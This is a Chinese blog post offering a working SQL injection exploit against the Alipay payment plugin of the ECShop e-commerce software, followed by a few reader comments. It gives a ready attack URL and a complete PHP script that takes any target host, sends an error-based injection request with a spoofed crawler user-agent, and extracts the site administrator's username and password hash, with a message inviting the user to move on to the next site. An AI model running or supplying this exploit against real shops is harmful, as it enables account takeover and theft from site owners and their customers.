正在阅读:

ecshop支付宝插件注入EXP

16,121

漏洞是比较老的漏洞,最初由360暴出来的,数字公司大牛还是很多的。网上也有N多exp了,之前在k8看到了gui的利用工具,研究了一下,也整了个php版的exp,喜欢的拿去。

由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。

漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。

ecshop支付宝插件注入

最终利用EXP:

http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) — By seay

小弟写的EXP奉上……

<?php
/**
 * Created by 独自等待
 * User: Hack2012
 * Date: 13-6-1 下午4:30
 * FileName: ecshop_alipay.php
 * 独自等待博客www.waitalone.cn
 */
print_r('
+------------------------------------------------------+
               ecshop 支付宝插件 注入EXP
             Site:http://www.waitalone.cn/
                Exploit BY: 独自等待
                  Time:2013-06-01
+------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+------------------------------------------------------+
Useage: php ' . $argv[0] . ' host path
Host: target server (ip/hostname)
Path: path of ecshop
Example: php ' . $argv[0] . ' localhost /ecshop
+------------------------------------------------------+
    ');
    exit;
}
error_reporting(7);
//统计时间
$start_time = func_time();
$host = $argv[1];
$path = $argv[2];
//注入语句
$cmd = "%00'%20and%20(select%20*%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(CHAR(35),user_name,CHAR(58),password,CHAR(35))%20from%20ecs_admin_user%20limit%201))a%20from%20information_schema.tables%20group%20by%20a)b)%20--%20By%20seay";

if (preg_match('/MySQL Query/i', send_pack($cmd))) {
    echo '管理员密码:' . get_info($cmd);
} else {
    exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
}
//提取信息函数
function get_info($info)
{
    if (preg_match('/#(.*)#/i', send_pack($info), $admin_match)) {
        if (preg_match('/charset=utf-8/', send_pack($info))) {
            return iconv('utf-8', 'gbk//IGNORE', $admin_match[1]) . "\n";
        } else {
            return $admin_match[1] . "\n";
        }
    } else {
        exit('存在注入,但未获取到密码信息,请重试几次!');
    }
}

//提交数据包函数
function send_pack($cmd)
{
    global $host, $path, $url;
    $data = "GET " . $path . "/respond.php?code=alipay&subject=0&out_trade_no=" . $cmd . " HTTP/1.1\r\n";
    $data .= "Host: " . $host . "\r\n";
    $data .= "User-Agent: Baiduspider\r\n";
    $data .= "Connection: Close\r\n\r\n";
    //echo $data;exit;
    //这里一定要2个\r\n否则将会一直等待并且不返回数据
    $fp = @fsockopen($host, 80, $errno, $errstr, 10);
    //echo ini_get('default_socket_timeout');//默认超时时间为60秒
    if (!$fp) {
        echo $errno . '-->' . $errstr . "\n";
        exit('Could not connect to: ' . $host);
    } else {
        fwrite($fp, $data);
        $back = '';
        while (!feof($fp)) {
            $back .= fread($fp, 1024);
        }
        fclose($fp);
    }
    return $back;
}

//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo '脚本执行时间:' . round((func_time() - $start_time), 4) . '秒。';
?>

GUI版下载:点我下载

参考网站:

http://www.cnseay.com/2237/

http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=3807

http://qqhack8.blog.163.com/blog/static/1141479852013122726876/

目前有:2条访客评论,博主回复2

  1. 先看看了。

    附付无法下载了。百度网盘失效了

    • 独自等待
      2014-06-19 16:15

      我检查一下,确实无法使用gui版的了,请使用php版的吧。

  2. 膜拜
    2017-03-04 14:09

    seo做的好好哦 ,每次搜所一些漏洞都会看到贵站

    • 独自等待
      2017-03-06 15:08

      其实并没有做,只是站存在的时间比较长了。09年到现在。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌